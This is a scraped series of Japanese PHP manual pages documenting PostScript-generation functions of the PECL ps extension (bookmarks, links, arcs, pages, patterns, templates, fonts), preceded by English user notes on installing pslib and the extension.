
1. you may need to install the perl module XML::Parser (http://search.cpan.org/~msergeant/XML-Parser/Parser.pm) to get pslib to install
2. install pslib (http://pslib.sourceforge.net/)
3. install ps (http://pecl.php.net/package/ps) using the instructions from (http://www.php.net/manual/en/install.pecl.phpize.php)
4. copy the ps.so file created by to the php extensions directory (not automatically done)
5. edit php.ini to include the ps extension (not automatically done)

If you are running FreeBSD, this link may help you with problems installing pslib (http://www.freebsd.org/cgi/query-pr.cgi?pr=84406).

Note that pslib (the library) and ps (the php extension) are not the same.
billy dot diehl at us dot army dot mil 30-May-2006 03:19
OK, OK, the previous note helped get me started, but really, it took me most of the day to figure out how to get this "pear install ps" to work. At first, it seemed geared for PHP4. Hopefully, I can save someone the day I just spent. (Don't get me wrong, I learned something new).

If the above statement doesn't work try this because it worked for me using PHP5 and Apache.

1. Forget the "pear install ps", it doesn't work. Whoever wrote that should get punched.
2. Make sure you've got PHP5 and Apache working as you like.
3. Go to http://pecl.php.net/package/ps and download the latest release.
4. Decompress the contents into its own directory somewhere.
5. Read http://www.php.net/manual/en/install.pecl.phpize.php which tells you what to do with what you just decompressed.
6. Move the final result (a shared object file) into the directory specified by your php.ini file's "extension_dir".
7. Create an entry in you php.ini (along with other similar statements that should already be there) that says "extension=ps.so"
8. For giggles, restart apache

Worked for me, hope it works for you...
norbert at hipersonik dot com 15-Nov-2005 04:30
For everybody who is frustrated by the not working of 'pear install ps' command under most likely SuSE, at www.hipersonik.com/php_ps_pslib.html is a possible way to get it working. It is also possible to use these instructions under other distributions.
If 'pear install ps' works fine from the start (pslib etc is installed), but ps does not work yet, use dl('ps.so'); This will save you a lot of time.


現在のページにブックマークを追加する

  • ≪ PS 関数
  • ps_add_launchlink ≫
  • PHP Manual
  • PS 関数
  • 現在のページにブックマークを追加する

ps_add_bookmark

(PECL ps >= 1.1.0)

ps_add_bookmark — 現在のページにブックマークを追加する

説明

ps_add_bookmark ( resource $psdoc , string $text , int $parent = 0 , int $open = 0 ) : int

現在のページにブックマークを追加します。たいてい、ブックマークは PDFビューア上でページの左側にツリー形式で表示されます。 ブックマークをクリックすると、該当ページにジャンプします。

注釈は、 ドキュメントを印刷したり表示したりするときには表示されません。 しかし、Acrobat Distiller? あるいは Ghostview でドキュメントを pdf に変換すると表示されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

ブックマークの表示に使用するテキスト。

parent

新しいブックマークの親となる、 事前にこの関数で作成されたブックマーク。

open

open がゼロでない場合、ブックマークは PDF ビューア上で開いた形で表示されます。

返り値

返り値はブックマークへの参照です。この値は、作成したブックマークを 他のブックマークの親として使用する場合にのみ使われます。 成功した場合には、この値はゼロより大きくなります。 エラーが発生した場合にはゼロを返します。

参考

  • ps_add_launchlink() - ファイルを実行するためのリンクを追加する
  • ps_add_pdflink() - 別の PDF ドキュメントのページへのリンクを追加する
  • ps_add_weblink() - Web 上の場所へのリンクを追加する

User Contributed Notes

There are no user contributed notes for this page.


ファイルを実行するためのリンクを追加する

  • ≪ ps_add_bookmark
  • ps_add_locallink ≫
  • PHP Manual
  • PS 関数
  • ファイルを実行するためのリンクを追加する

ps_add_launchlink

(PECL ps >= 1.1.0)

ps_add_launchlink — ファイルを実行するためのリンクを追加する

説明

ps_add_launchlink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $filename ) : bool

クリックした際にファイルが実行されるハイパーリンクを、 指定した場所に設定します。ハイパーリンクのリンク元は矩形で表され、 その左下の座標は (llx, lly)、そして右上の座標が (urx, ury) となります。 この矩形はデフォルトでは細い青線で表されます。

注釈は、 ドキュメントを印刷したり表示したりするときには表示されません。 しかし、Acrobat Distiller? あるいは Ghostview でドキュメントを pdf に変換すると表示されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

llx

左下角の x 座標。

lly

左下角の y 座標。

urx

右上角の x 座標。

ury

右上角の y 座標。

filename

リンクがクリックされた際に開始するプログラムのパス。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_add_locallink() - 同一ドキュメント内のページへのリンクを追加する
  • ps_add_pdflink() - 別の PDF ドキュメントのページへのリンクを追加する
  • ps_add_weblink() - Web 上の場所へのリンクを追加する

User Contributed Notes

There are no user contributed notes for this page.


同一ドキュメント内のページへのリンクを追加する

  • ≪ ps_add_launchlink
  • ps_add_note ≫
  • PHP Manual
  • PS 関数
  • 同一ドキュメント内のページへのリンクを追加する

ps_add_locallink

(PECL ps >= 1.1.0)

ps_add_locallink — 同一ドキュメント内のページへのリンクを追加する

説明

ps_add_locallink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , int $page , string $dest ) : bool

指定した位置に、同一ドキュメント内のページへのハイパーリンクを設定します。 リンクをクリックすると、そのページに移動します。ドキュメントの最初の ページのページ番号は 1 です。

ハイパーリンクのリンク元は矩形で表され、その左下の座標は (llx, lly)、 そして右上の座標が (urx, ury) となります。この矩形はデフォルトでは細い青線で表されます。

注釈は、 ドキュメントを印刷したり表示したりするときには表示されません。 しかし、Acrobat Distiller? あるいは Ghostview でドキュメントを pdf に変換すると表示されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

llx

左下角の x 座標。

lly

左下角の y 座標。

urx

右上角の x 座標。

ury

右上角の y 座標。

page

リンクがクリックされた際に開始するページ。

dest

dest は、ドキュメントがどのように 表示されるかを指定します。とりうる値は fitpage または fitwidth、 fitheight、fitbbox のいずれかです。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_add_launchlink() - ファイルを実行するためのリンクを追加する
  • ps_add_pdflink() - 別の PDF ドキュメントのページへのリンクを追加する
  • ps_add_weblink() - Web 上の場所へのリンクを追加する

User Contributed Notes

There are no user contributed notes for this page.


現在のページに注釈を追加する

  • ≪ ps_add_locallink
  • ps_add_pdflink ≫
  • PHP Manual
  • PS 関数
  • 現在のページに注釈を追加する

ps_add_note

(PECL ps >= 1.1.0)

ps_add_note — 現在のページに注釈を追加する

説明

ps_add_note ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $contents , string $title , string $icon , int $open ) : bool

ページの特定の位置に注釈を追加します。注釈は、 テキストが記入された小さな矩形で、ページ上のどこにでも配置できます。 折りたたんで保持することもでき、折りたたまれている場合は、 指定したアイコンをプレースホルダとして使います。

注釈は、 ドキュメントを印刷したり表示したりするときには表示されません。 しかし、Acrobat Distiller? あるいは Ghostview でドキュメントを pdf に変換すると表示されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

llx

左下角の x 座標。

lly

左下角の y 座標。

urx

右上角の x 座標。

ury

右上角の y 座標。

contents

注釈のテキスト。

title

注釈のヘッダに表示される、タイトル。

icon

注釈が折りたたまれた際に表示されるアイコン。 comment、insert、 note、paragraph、 newparagraph、key あるいは help のいずれかが設定できます。

open

open がゼロでない場合、 PDF ビューア上でドキュメントをオープンすると、 注釈は折りたたまれずに表示されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_add_pdflink() - 別の PDF ドキュメントのページへのリンクを追加する
  • ps_add_launchlink() - ファイルを実行するためのリンクを追加する
  • ps_add_locallink() - 同一ドキュメント内のページへのリンクを追加する
  • ps_add_weblink() - Web 上の場所へのリンクを追加する

User Contributed Notes

There are no user contributed notes for this page.


別の PDF ドキュメントのページへのリンクを追加する

  • ≪ ps_add_note
  • ps_add_weblink ≫
  • PHP Manual
  • PS 関数
  • 別の PDF ドキュメントのページへのリンクを追加する

ps_add_pdflink

(PECL ps >= 1.1.0)

ps_add_pdflink — 別の PDF ドキュメントのページへのリンクを追加する

説明

ps_add_pdflink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $filename , int $page , string $dest ) : bool

指定した位置に、別の PDF ドキュメントへのハイパーリンクを設定します。 リンクをクリックすると、そのドキュメントの指定されたページに移動します。 ドキュメントの最初のページのページ番号は 1 です。

ハイパーリンクのリンク元は矩形で表され、その左下の座標は (llx, lly)、 そして右上の座標が (urx, ury) となります。この矩形はデフォルトでは細い青線で表されます。

注釈は、 ドキュメントを印刷したり表示したりするときには表示されません。 しかし、Acrobat Distiller? あるいは Ghostview でドキュメントを pdf に変換すると表示されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

llx

左下角の x 座標。

lly

左下角の y 座標。

urx

右上角の x 座標。

ury

右上角の y 座標。

filename

リンクがクリックされた際に開かれる PDF ドキュメントの名前。

page

対象 PDF ドキュメントのページ番号。

dest

dest は、ドキュメントがどのように 表示されるかを指定します。とりうる値は fitpage または fitwidth、 fitheight、fitbbox のいずれかです。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_add_launchlink() - ファイルを実行するためのリンクを追加する
  • ps_add_locallink() - 同一ドキュメント内のページへのリンクを追加する
  • ps_add_weblink() - Web 上の場所へのリンクを追加する

User Contributed Notes

There are no user contributed notes for this page.


Web 上の場所へのリンクを追加する

  • ≪ ps_add_pdflink
  • ps_arc ≫
  • PHP Manual
  • PS 関数
  • Web 上の場所へのリンクを追加する

ps_add_weblink

(PECL ps >= 1.1.0)

ps_add_weblink — Web 上の場所へのリンクを追加する

説明

ps_add_weblink ( resource $psdoc , float $llx , float $lly , float $urx , float $ury , string $url ) : bool

指定した位置に、Web ページを指すハイパーリンクを設定します。 ハイパーリンクのリンク元はは矩形で表され、その左下の座標は (llx, lly)、 そして右上の座標が (urx, ury) となります。 この矩形はデフォルトでは細い青線で表されます。

注釈は、 ドキュメントを印刷したり表示したりするときには表示されません。 しかし、Acrobat Distiller? あるいは Ghostview でドキュメントを pdf に変換すると表示されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

llx

左下角の x 座標。

lly

左下角の y 座標。

urx

右上角の x 座標。

ury

右上角の y 座標。

url

リンクがクリックされた際に開かれるハイパーリンクの URL。 例えば http://www.php.net

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_add_launchlink() - ファイルを実行するためのリンクを追加する
  • ps_add_locallink() - 同一ドキュメント内のページへのリンクを追加する
  • ps_add_pdflink() - 別の PDF ドキュメントのページへのリンクを追加する

User Contributed Notes

There are no user contributed notes for this page.


反時計回りに円弧を描く

  • ≪ ps_add_weblink
  • ps_arcn ≫
  • PHP Manual
  • PS 関数
  • 反時計回りに円弧を描く

ps_arc

(PECL ps >= 1.1.0)

ps_arc — 反時計回りに円弧を描く

説明

ps_arc ( resource $psdoc , float $x , float $y , float $radius , float $alpha , float $beta ) : bool

(x, y) を中心とした円の一部を描きます。円弧は alpha で指定された角度からはじまり beta で指定された角度で終わります。反時計回りに描かれます (時計回りに描くには ps_arcn() を使用します)。 また、alpha で指定された角度からはじまって beta で指定された角度で終わるサブパスが、 現在のパスに追加されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

円の中心の x 座標。

y

円の中心の y 座標。

radius

円の半径。

alpha

開始位置の角度を度単位で指定。

beta

終了位置の角度を度単位で指定。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_arcn() - 時計回りに円弧を描く

User Contributed Notes

There are no user contributed notes for this page.


時計回りに円弧を描く

  • ≪ ps_arc
  • ps_begin_page ≫
  • PHP Manual
  • PS 関数
  • 時計回りに円弧を描く

ps_arcn

(PECL ps >= 1.1.0)

ps_arcn — 時計回りに円弧を描く

説明

ps_arcn ( resource $psdoc , float $x , float $y , float $radius , float $alpha , float $beta ) : bool

(x, y) を中心とした円の一部を描きます。円弧は alpha で指定された角度からはじまり beta で指定された角度で終わります。 時計回りに描かれます (反時計回りに描くには ps_arc() を使用します)。 また、beta で指定された角度からはじまって alpha で指定された角度で終わるサブパスが、カレントパスに追加されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

円の中心の x 座標。

y

円の中心の y 座標。

radius

円の半径。

alpha

開始位置の角度を度単位で指定。

beta

終了位置の角度を度単位で指定。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_arc() - 反時計回りに円弧を描く

User Contributed Notes

There are no user contributed notes for this page.


新しいページを開始する

  • ≪ ps_arcn
  • ps_begin_pattern ≫
  • PHP Manual
  • PS 関数
  • 新しいページを開始する

ps_begin_page

(PECL ps >= 1.1.0)

ps_begin_page — 新しいページを開始する

説明

ps_begin_page ( resource $psdoc , float $width , float $height ) : bool

新しいページを開始します。width や height というパラメータを見ると いかにもページ単位でサイズを変えられるように思えますが、PostScript ではこれは不可能です。最初に ps_begin_page() を呼んだ際に指定されたサイズが、ドキュメント全体に適用されます。 2 回目以降に呼ばれた場合はこのパラメータは意味を持たず、 単に新しいページが作られるだけです。しかし、もしあなたが PostScript ドキュメントを PDF に変換しようと考えているのなら話は別です。 この関数はドキュメントの各ページごとに pdfmark を設定するので、 PDF に変換した後はページごとにサイズを変えることができます。

PostScript はさまざまなページサイズを知らないので、pslib ではドキュメントの各ページに対してバウンディングボックスを設定します。 このサイズは PostScript ビューアによって評価され、 ドキュメントヘッダの BoundingBox より優先されます。 左下角が (0, 0) ではない BoundingBox を設定すると、 予期せぬ結果を引き起こすことがあります。なぜなら、 ページ単位のバウンディングボックスは常に左下角が (0, 0) であり、 これが全体の設定より優先されるからです。

個々のページの情報はカプセル化して保存されています。どういうことかというと、 あるページで設定した情報のほとんどは次のページに引き継がれないということです。

最初の ps_begin_page() 呼び出しまでに一度も ps_findfont() が呼び出されていなかった場合は、 PostScript ドキュメントのヘッダが出力され、 バウンディングボックスが最初のページのサイズに設定されます。 バウンディングボックスの左下角は (0, 0) に設定されます。もしすでに ps_findfont() が呼ばれていた場合は既にヘッダが出力されてしまっており、 ドキュメントに適切なバウンディングボックスが設定されていないことになります。 このようなことを避けるために、ps_findfont() や ps_begin_page() を実行する前にはいつも ps_set_info() を実行し、 BoundingBox や Orientation の値を設定しておくべきです。

注意:

pslib のバージョン 0.2.6 まででは、 ps_set_info() によって事前に設定されていたり ps_findfont() が事前にコールされていない限り、 この関数は常に BoundingBox および Orientation を上書きします。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

width

ピクセル単位のページの幅 (例: A4 の場合は 596)。

height

ピクセル単位のページの高さ (例: A4 の場合は 842)。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_end_page() - ページを終了する
  • ps_findfont() - フォントを読み込む
  • ps_set_info() - ドキュメントの情報を設定する

User Contributed Notes

There are no user contributed notes for this page.


新しいパターンを開始する

  • ≪ ps_begin_page
  • ps_begin_template ≫
  • PHP Manual
  • PS 関数
  • 新しいパターンを開始する

ps_begin_pattern

(PECL ps >= 1.2.0)

ps_begin_pattern — 新しいパターンを開始する

説明

ps_begin_pattern ( resource $psdoc , float $width , float $height , float $xstep , float $ystep , int $painttype ) : int|false

新しいパターンを開始します。パターンとは、 領域を塗りつぶすための描画データを含むページのようなものです。 ps_setcolor() をコールする際に pattern に色空間を指定すると、 これは色のように使用されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

width

ピクセル単位のパターンの幅。

height

ピクセル単位のパターンの高さ。

x-step

パターンを水平方向に並べる際のピクセル単位の間隔。

y-step

パターンを垂直方向に並べる際のピクセル単位の間隔。

painttype

1 あるいは 2 でなければなりません。

返り値

パターンの ID を返します。失敗した場合に false を返します。

例

例1 パターンの作成および使用

<?php
$ps = ps_new();

if (!ps_open_file($ps, "pattern.ps")) {
  print "PostScript ファイルをオープンできません\n";
  exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "pattern.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Pattern example");

$pspattern = ps_begin_pattern($ps, 10.0, 10.0, 10.0, 10.0, 1);
ps_setlinewidth($ps, 0.2);
ps_setcolor($ps, "stroke", "rgb", 0.0, 0.0, 1.0, 0.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 7, 7);
ps_stroke($ps);
ps_moveto($ps, 0, 7);
ps_lineto($ps, 7, 0);
ps_stroke($ps);
ps_end_pattern($ps);

ps_begin_page($ps, 596, 842);
ps_setcolor($ps, "both", "pattern", $pspattern, 0.0, 0.0, 0.0);
ps_rect($ps, 50, 400, 200, 200);
ps_fill($ps);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

参考

  • ps_end_pattern() - パターンを終了する
  • ps_setcolor() - 色を設定する
  • ps_shading_pattern() - シェーディング用のパターンを作成する

User Contributed Notes

There are no user contributed notes for this page.


新しいテンプレートを開始する

  • ≪ ps_begin_pattern
  • ps_circle ≫
  • PHP Manual
  • PS 関数
  • 新しいテンプレートを開始する

ps_begin_template

(PECL ps >= 1.2.0)

ps_begin_template — 新しいテンプレートを開始する

説明

ps_begin_template ( resource $psdoc , float $width , float $height ) : int

新しいテンプレートを開始します。テンプレートは、postscript 言語からコールされます。パターンと似ていますが、画像のように使用されます。 テンプレートは、ドキュメント内で何回も使用される描画内容、 例えば会社のロゴなどに対して使用されることが多いでしょう。 テンプレート内では、すべての描画関数が使用されます。 テンプレートは、ps_place_image() によって配置されるまでは描画されません。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

width

ピクセル単位のテンプレートの幅。

height

ピクセル単位のテンプレートの高さ。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 テンプレートの作成および使用

<?php
$ps = ps_new();

if (!ps_open_file($ps, "template.ps")) {
  print "PostScript ファイルをオープンできません\n";
  exit;
}

ps_set_parameter($ps, "warning", "true");
ps_set_info($ps, "Creator", "template.php");
ps_set_info($ps, "Author", "Uwe Steinmann");
ps_set_info($ps, "Title", "Template example");

$pstemplate = ps_begin_template($ps, 30.0, 30.0);
ps_moveto($ps, 0, 0);
ps_lineto($ps, 30, 30);
ps_moveto($ps, 0, 30);
ps_lineto($ps, 30, 0);
ps_stroke($ps);
ps_end_template($ps);

ps_begin_page($ps, 596, 842);
ps_place_image($ps, $pstemplate, 20.0, 20.0, 1.0);
ps_place_image($ps, $pstemplate, 50.0, 30.0, 0.5);
ps_place_image($ps, $pstemplate, 70.0, 70.0, 0.6);
ps_place_image($ps, $pstemplate, 30.0, 50.0, 1.3);
ps_end_page($ps);

ps_close($ps);
ps_delete($ps);
?>

参考

  • ps_end_template() - テンプレートを終了する

User Contributed Notes

There are no user contributed notes for this page.


円を描く

  • ≪ ps_begin_template
  • ps_clip ≫
  • PHP Manual
  • PS 関数
  • 円を描く

ps_circle

(PECL ps >= 1.1.0)

ps_circle — 円を描く

説明

ps_circle ( resource $psdoc , float $x , float $y , float $radius ) : bool

(x, y) を中心とする円を描きます。描画開始位置は (x+radius, y) です。もしパスの外部でこの関数が呼び出された場合、 新しいパスを開始します。パスの内部で呼び出された場合は、 円をサブパスとして追加します。ひとつ前の描画処理の終点が (x+radius, y) でなかった場合、パスに隙間ができることになります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x

円の中心の x 座標。

y

円の中心の y 座標。

radius

円の半径。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_arc() - 反時計回りに円弧を描く
  • ps_arcn() - 時計回りに円弧を描く

User Contributed Notes

There are no user contributed notes for this page.


現在のパスを描画範囲として指定する

  • ≪ ps_circle
  • ps_close_image ≫
  • PHP Manual
  • PS 関数
  • 現在のパスを描画範囲として指定する

ps_clip

(PECL ps >= 1.1.0)

ps_clip — 現在のパスを描画範囲として指定する

説明

ps_clip ( resource $psdoc ) : bool

現在のパスを、描画範囲の境界として定義します。 この領域の外に描画された内容は、見えなくなります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_closepath() - パスを閉じる

User Contributed Notes

There are no user contributed notes for this page.


画像を閉じ、メモリを開放する

  • ≪ ps_clip
  • ps_close ≫
  • PHP Manual
  • PS 関数
  • 画像を閉じ、メモリを開放する

ps_close_image

(PECL ps >= 1.1.0)

ps_close_image — 画像を閉じ、メモリを開放する

説明

ps_close_image ( resource $psdoc , int $imageid ) : void|false

画像を閉じ、そのリソースを開放します。 いったん閉じられた後は、画像を使用することはできません。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

imageid

ps_open_image() あるいは ps_open_image_file() が返す、 画像のリソース ID。

返り値

成功した場合に null を、失敗した場合に false を返します。

参考

  • ps_open_image() - 後で配置するために画像を読み込む
  • ps_open_image_file() - ファイルから画像を開く

User Contributed Notes

There are no user contributed notes for this page.


PostScript ドキュメントを閉じる

  • ≪ ps_close_image
  • ps_closepath_stroke ≫
  • PHP Manual
  • PS 関数
  • PostScript ドキュメントを閉じる

ps_close

(PECL ps >= 1.1.0)

ps_close — PostScript ドキュメントを閉じる

説明

ps_close ( resource $psdoc ) : bool

PostScript ドキュメントを閉じます。

この関数は、PostScript ドキュメントのトレーラーを書き込みます。 また、ブックマークツリーも書き込みます。ps_close() は、リソースの開放は行いません。これは ps_delete() が行います。

もし事前にコールされていない場合、この関数は ps_delete() からもコールされます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_open_file() - 出力用のファイルを開く
  • ps_delete() - PostScript ドキュメントの全リソースを削除する

User Contributed Notes

There are no user contributed notes for this page.


パスを閉じ、描画する

  • ≪ ps_close
  • ps_closepath ≫
  • PHP Manual
  • PS 関数
  • パスを閉じ、描画する

ps_closepath_stroke

(PECL ps >= 1.1.0)

ps_closepath_stroke — パスを閉じ、描画する

説明

ps_closepath_stroke ( resource $psdoc ) : bool

パスの終了点を開始点とつなげ、出来上がった線を描画します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_closepath() - パスを閉じる

User Contributed Notes

There are no user contributed notes for this page.


パスを閉じる

  • ≪ ps_closepath_stroke
  • ps_continue_text ≫
  • PHP Manual
  • PS 関数
  • パスを閉じる

ps_closepath

(PECL ps >= 1.1.0)

ps_closepath — パスを閉じる

説明

ps_closepath ( resource $psdoc ) : bool

パスの終了点と開始点をつなげます。出来上がったパスは、 描画、塗りつぶし、切り取りなどに使用されます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_clip() - 現在のパスを描画範囲として指定する
  • ps_closepath_stroke() - パスを閉じ、描画する

User Contributed Notes

There are no user contributed notes for this page.


次の行にテキストを続ける

  • ≪ ps_closepath
  • ps_curveto ≫
  • PHP Manual
  • PS 関数
  • 次の行にテキストを続ける

ps_continue_text

(PECL ps >= 1.1.0)

ps_continue_text — 次の行にテキストを続ける

説明

ps_continue_text ( resource $psdoc , string $text ) : bool

最終行の次の行からテキストを出力します。行間隔は "leading" の値が用いられます。この値は ps_set_value() を用いて指定する必要があります。 実際のテキストの出力位置は、"textx" と "texty" の値によって決まります。 この値は ps_get_value() を用いて取得することができます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

text

出力するテキスト。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_show() - テキストを出力する
  • ps_show_xy() - 指定された位置にテキストを出力する
  • ps_show_boxed() - テキストをボックス内に出力する

User Contributed Notes

There are no user contributed notes for this page.


曲線を描く

  • ≪ ps_continue_text
  • ps_delete ≫
  • PHP Manual
  • PS 関数
  • 曲線を描く

ps_curveto

(PECL ps >= 1.1.0)

ps_curveto — 曲線を描く

説明

ps_curveto ( resource $psdoc , float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 ) : bool

現在のパスに対して、3 つの制御点を指定して 3 次ベジエ曲線を追加します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

x1

最初の制御点の x 座標。

y1

最初の制御点の y 座標。

x2

2 番目の制御点の x 座標。

y2

2 番目の制御点の y 座標。

x3

3 番目の制御点の x 座標。

y3

3 番目の制御点の y 座標。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_lineto() - 直線を描く

User Contributed Notes

There are no user contributed notes for this page.


PostScript ドキュメントの全リソースを削除する

  • ≪ ps_curveto
  • ps_end_page ≫
  • PHP Manual
  • PS 関数
  • PostScript ドキュメントの全リソースを削除する

ps_delete

(PECL ps >= 1.1.0)

ps_delete — PostScript ドキュメントの全リソースを削除する

説明

ps_delete ( resource $psdoc ) : bool

ドキュメントが使用していたメモリを開放します。また、 もし事前に ps_close() でファイルが閉じられていない場合はファイルを閉じます。 どんな場合でも、事前に ps_close() でファイルを閉じておくべきです。なぜなら ps_close() はファイルをただ閉じるだけではなく、トレーラーを出力するからです。 ここには、ドキュメントのページ数やブックマーク階層といった情報が含まれます。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_close() - PostScript ドキュメントを閉じる

User Contributed Notes

There are no user contributed notes for this page.


ページを終了する

  • ≪ ps_delete
  • ps_end_pattern ≫
  • PHP Manual
  • PS 関数
  • ページを終了する

ps_end_page

(PECL ps >= 1.1.0)

ps_end_page — ページを終了する

説明

ps_end_page ( resource $psdoc ) : bool

ps_begin_page() によって開始したページを終了します。 ページを終了しても、現在の描画コンテキストはそのままになります。つまり、 もしページ内部でフォントが読み込まれたのなら、 それを再読み込みしてしなければなりません。 また、行の幅や色などのその他の描画パラメータも再設定する必要があります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_begin_page() - 新しいページを開始する

User Contributed Notes

There are no user contributed notes for this page.


パターンを終了する

  • ≪ ps_end_page
  • ps_end_template ≫
  • PHP Manual
  • PS 関数
  • パターンを終了する

ps_end_pattern

(PECL ps >= 1.2.0)

ps_end_pattern — パターンを終了する

説明

ps_end_pattern ( resource $psdoc ) : bool

ps_begin_pattern() によって開始したパターンを終了します。 パターンが終了すると、領域の塗りつぶし時にそれを使用できるようになります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_begin_pattern() - 新しいパターンを開始する

User Contributed Notes

There are no user contributed notes for this page.


テンプレートを終了する

  • ≪ ps_end_pattern
  • ps_fill_stroke ≫
  • PHP Manual
  • PS 関数
  • テンプレートを終了する

ps_end_template

(PECL ps >= 1.2.0)

ps_end_template — テンプレートを終了する

説明

ps_end_template ( resource $psdoc ) : bool

ps_begin_template() によって開始したテンプレートを終了します。 テンプレートが終了すると、それを画像のように使用できるようになります。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_begin_template() - 新しいテンプレートを開始する

User Contributed Notes

There are no user contributed notes for this page.


現在のパスを塗りつぶし、線を引く

  • ≪ ps_end_template
  • ps_fill ≫
  • PHP Manual
  • PS 関数
  • 現在のパスを塗りつぶし、線を引く

ps_fill_stroke

(PECL ps >= 1.1.0)

ps_fill_stroke — 現在のパスを塗りつぶし、線を引く

説明

ps_fill_stroke ( resource $psdoc ) : bool

ps_lineto() のような描画関数によって事前に作成されたパスを塗りつぶし、描画します。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_fill() - 現在のパスを塗りつぶす
  • ps_stroke() - 現在のパスを描画する

User Contributed Notes

There are no user contributed notes for this page.


現在のパスを塗りつぶす

  • ≪ ps_fill_stroke
  • ps_findfont ≫
  • PHP Manual
  • PS 関数
  • 現在のパスを塗りつぶす

ps_fill

(PECL ps >= 1.1.0)

ps_fill — 現在のパスを塗りつぶす

説明

ps_fill ( resource $psdoc ) : bool

ps_lineto() のような描画関数によって事前に作成されたパスを塗りつぶします。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

返り値

成功した場合に true を、失敗した場合に false を返します。

参考

  • ps_fill_stroke() - 現在のパスを塗りつぶし、線を引く
  • ps_stroke() - 現在のパスを描画する

User Contributed Notes

There are no user contributed notes for this page.


フォントを読み込む

  • ≪ ps_fill
  • ps_get_buffer ≫
  • PHP Manual
  • PS 関数
  • フォントを読み込む

ps_findfont

(PECL ps >= 1.1.0)

ps_findfont — フォントを読み込む

説明

ps_findfont ( resource $psdoc , string $fontname , string $encoding , bool $embed = false ) : int

あとで使用するために、フォントを読み込みます。読み込んだフォントを実際に利用するためには、 ps_setfont() で設定しなければなりません。 文字の間隔を計算するため、この関数は adobe フォントメトリックファイルを必要とします。 ページの内部で読み込まれたフォントは、 そのページ内でのみ有効となります。ドキュメント全体で使われるフォントは、 最初の ps_begin_page() の実行より前に読み込まれなければなりません。 ページとページの間で ps_findfont() が呼ばれた場合は、それ以降のページでフォントが有効になります。

afm ファイルの名前は、 fontname.afm でなければなりません。 フォントを埋め込む場合は、フォントのアウトラインを含む fontname.pfb が存在しなければなりません。

最初のページを処理する前に ps_findfont() をコール際、 postscript ヘッダが出力されます。ここには、ドキュメント全体に適用される BoundingBox が含まれます。 通常は、BoundingBox を設定するのは最初に ps_begin_page() がコールされたときで、これは ps_findfont() をコールした後になります。 したがって、ps_findfont() のコール時にはまだ BoundingBox が設定されておらず、警告が発生してしまいます。 こうなることを避けるため、ps_findfont() をコールする前に ps_set_parameter() をコールし、BoundingBox を設定しておくべきです。

パラメータ

psdoc

ps_new() が返す、postscript ファイルのリソース ID。

fontname

フォントの名前。

encoding

ps_findfont() は、encoding で渡されたファイルを読み込もうと試みます。 エンコーディングファイルは、 dvips(1) で使われるものと同形式です。 そこにはフォントエンコーディングベクタ（現在は利用されていませんが、 存在する必要があります）が含まれており、また afm ファイルから 生成されたリゲチャのリストを拡張するための拡張リゲチャが含まれています。

